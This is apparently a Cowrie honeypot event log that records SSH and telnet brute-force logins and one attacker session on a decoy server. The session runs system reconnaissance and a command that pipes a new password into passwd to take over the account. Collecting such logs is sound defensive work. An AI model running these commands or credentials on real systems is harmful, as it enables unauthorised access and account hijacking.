{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.874414Z","src_ip":"198.98.56.205","session":"f8e8447e9eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.881174Z","src_ip":"198.98.56.205","session":"f8e8447e9eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.935018Z","src_ip":"198.98.56.205","session":"f8e8447e9eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57170,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cf3e451673","protocol":"telnet","message":"New connection: 38.60.198.128:57170 (159.203.135.109:23) [session: 93cf3e451673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:45.606645Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:45.942495Z","src_ip":"198.98.56.205","session":"f8e8447e9eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":36104,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c88045224dd","protocol":"ssh","message":"New connection: 198.98.56.205:36104 (159.203.135.109:22) [session: 6c88045224dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:45.947247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:45.950967Z","src_ip":"198.98.56.205","session":"6c88045224dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:45.955913Z","src_ip":"198.98.56.205","session":"6c88045224dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:46.007545Z","src_ip":"198.98.56.205","session":"6c88045224dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":46048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef1f79b6a659","protocol":"telnet","message":"New connection: 192.211.53.160:46048 (159.203.135.109:23) [session: ef1f79b6a659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:46.724354Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.015175Z","src_ip":"198.98.56.205","session":"6c88045224dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.072602Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.076061Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.084708Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.143852Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin!123\\nGIwhEA9q0tAT\\nGIwhEA9q0tAT\"|passwd|bash","message":"CMD: echo -e \"admin!123\\nGIwhEA9q0tAT\\nGIwhEA9q0tAT\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.146608Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.150691Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.153850Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1fcbaac90fdea7cb576dc3197525361c0e692327667f410094cb97abde9db115","size":32,"shasum":"1fcbaac90fdea7cb576dc3197525361c0e692327667f410094cb97abde9db115","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/1fcbaac90fdea7cb576dc3197525361c0e692327667f410094cb97abde9db115 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.163389Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.220277Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin!123\\nGIwhEA9q0tAT\\nGIwhEA9q0tAT\\n\"|passwd","message":"CMD: echo \"admin!123\\nGIwhEA9q0tAT\\nGIwhEA9q0tAT\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.223672Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/522c7801b4ae80dc3e706d2309d62e070a358afa05a845f4e9e6943eb6fb70c2","size":25,"shasum":"522c7801b4ae80dc3e706d2309d62e070a358afa05a845f4e9e6943eb6fb70c2","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/522c7801b4ae80dc3e706d2309d62e070a358afa05a845f4e9e6943eb6fb70c2 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.238400Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.289304Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.292782Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.303634Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.362291Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.365813Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.380342Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.426948Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.429950Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.433185Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.444529Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.504336Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.508261Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.526308Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.587037Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.590936Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.608977Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.668277Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.672391Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.686812Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.775818Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.779438Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.796455Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.866317Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.869966Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.886503Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.949251Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.953978Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:47.971957Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.035781Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.039654Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60208,"dst_ip":"159.203.135.109","dst_port":23,"session":"28cc5a98e62d","protocol":"telnet","message":"New connection: 38.60.198.128:60208 (159.203.135.109:23) [session: 28cc5a98e62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.053941Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.065289Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.129969Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.133974Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.151908Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.211573Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.214864Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.234226Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.294014Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.297176Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
